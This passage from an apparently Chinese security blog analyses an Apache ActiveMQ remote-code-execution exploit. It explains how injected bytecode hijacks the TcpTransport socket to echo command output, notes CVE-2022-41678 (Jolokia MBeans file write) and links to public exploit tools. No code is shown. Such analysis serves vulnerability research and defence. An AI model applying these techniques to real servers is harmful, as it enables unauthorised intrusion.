最后是在org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#tightUnmarshalString获得回显:


调用栈的doRun中,结束后会调用doConsume:


会回调transportListener.onCommand,这就是作者为什么一开始setTransportListener:

这里利用的是TcpTransport实现了Runnable,所以恶意字节码里获取当前线程中target,其实就是TcpTransport,然后作者又获取了TcpTransport里的socket,将命令执行结果直接写入socket,然后向客户端发送。
总结一下,这里的思路是:复用原有的网络连接,剖析代码执行线程中的对象,分析消息协议
这里也给出cc的总结:

另外,这里作者还实现了版本获取功能:

直接nc也行:

CVE-2022-41678
这里同样是利用jolokia的MBeans,只不过调用的方法发生了改变,变成了写文件利用。不具体展开了,可以结合vulhub的环境自己复现。
这里应该是最早利用MBeans的了,理论上还应该把每个MBeans都挖一遍,但下个漏洞却一直到2026年才找到,说明AI在目标目前情况下的漏洞挖掘能力已经很强了。
https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2022-41678
后记
本来分析完想让AI写个ActiveMQ的GUI利用工具,但是最近别的事情比较多,所以先搁置了。有兴趣的师傅可以在https://github.com/Arlenhiack/ActiveMQ-RCE-Exploit/tree/main工具的基础上改改。
参考
https://www.cnblogs.com/kingbridge/articles/17812062.html#arbitrary-constructorstring
https://xz.aliyun.com/news/12375
https://xz.aliyun.com/news/14973
https://github.com/Arlenhiack/ActiveMQ-RCE-Exploit/tree/main
